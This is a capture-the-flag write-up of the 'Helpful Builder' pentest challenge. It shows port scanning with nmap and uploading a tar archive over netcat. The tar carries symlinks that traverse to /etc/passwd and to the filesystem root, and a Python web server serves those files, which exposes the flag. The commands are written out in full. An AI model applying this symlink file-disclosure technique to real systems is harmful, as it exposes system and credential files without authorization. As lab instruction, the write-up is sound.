Helpful Builder [pentest]

helpful builder

I know you can't build on your machine -- it's so dumb that IT won't install JDK12 for one of our developers.

Go ahead and fire over a tarfile with the contents of src/main in it on our typical netcat port, I'll compile the test jar so you can run it on your side. I'll make my sources available on so you can fetch the test jar.

We're provided an openvpn config.


The webserver contains a "Gradle 4.10.2" Java 12 build suite.

Challenge description specifies that in order to upload a file, we should netcat it to "the typical port". We nmap scan to find this port:

sudo nmap -sS -PN -vv -p1-65535 -T5
  • 8000: webserver
  • 9000: file upload via nc
  • 37503: unknown

Preparing files locally

We fetched their gradle build environment locally using lftp. This is so we can run Gradle locally and see how it works.

Side-note: lftp is quite nice, apart from being a great FTP client it can also mirror open directories over HTTP.

lftp -e "mirror"

Prepare directory for our testfile:

mkdir -p src/main/java/com/tamuctf/helpfulbuilder/

We create a Java test file with some code:


package com.tamuctf.helpfulbuilder;

public class Add {
    public static Integer add(Integer a, Integer b) {
        return null;

Locally we can install gradle and run the test suite task:

gradle test

> Task :test FAILED

com.tamuctf.helpfulbuilder.AddTest > addTest FAILED
    java.lang.NullPointerException at

com.tamuctf.helpfulbuilder.AddTest > addFirstNullTest FAILED

Tests are failing, but that's okay. We have code execution by running the build suite. We assume that the challenge server also runs this build suite after we upload our own Java.

Uploading a tar

Create our tar & upload;

cd src/main
tar cf test.tar java
cat test.tar | nc 9000

Verify our upload:

curl ""

However, at this point we realized that the challenge server does not follow our upload with a unit test task. It seems to do a gradle assemble or gradle jarTest task to compile our supplied file as java bytecode into build/. With this behaviour we can at least verify that our upload works, but there is no code execution here.


Since we have no RCE, we'll try to mess around with symlinks, which is what we should have tried first before trying to understand Gradle ;)

We create a symlink called Add.jar that links to /etc/passwd:

pushd java/com/tamuctf/helpfulbuilder
ln -s ../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

rm test.tar
tar cf test.tar java
cat test.tar | nc 9000

The webserver seems to follow this symlink and gives us /etc/passwd:

curl ""

jsullivan:x:1000:1000:Linux User,,,:/home/jsullivan:/bin/ash

Since the webserver in question is Python's "SimpleHTTPServer", it'll follow symlinked directories too, we can create a symlink to the root of the filesystem:

pushd java/com/tamuctf/helpfulbuilder
ln -s ../../../../../../../../../../../../../../../../../../../../../../../../../../

rm test.tar
tar cf test.tar java
cat test.tar | nc 9000
curl -vv ""

<li><a href=".dockerenv">.dockerenv</a></li>
<li><a href="bin/">bin/</a></li>
<li><a href="dev/">dev/</a></li>
<li><a href="etc/">etc/</a></li>
<li><a href="home/">home/</a></li>
<li><a href="lib/">lib/</a></li>
<li><a href="lib64/">lib64/</a></li>
<li><a href="media/">media/</a></li>
<li><a href="mnt/">mnt/</a></li>
<li><a href="opt/">opt/</a></li>
<li><a href="proc/">proc/</a></li>
<li><a href="root/">root/</a></li>
<li><a href="run/">run/</a></li>
<li><a href="sbin/">sbin/</a></li>
<li><a href="srv/">srv/</a></li>
<li><a href="sys/">sys/</a></li>
<li><a href="tmp/">tmp/</a></li>
<li><a href="usr/">usr/</a></li>
<li><a href="var/">var/</a></li>

From here we can traverse into /home/jsullivan/ and find flag.txt.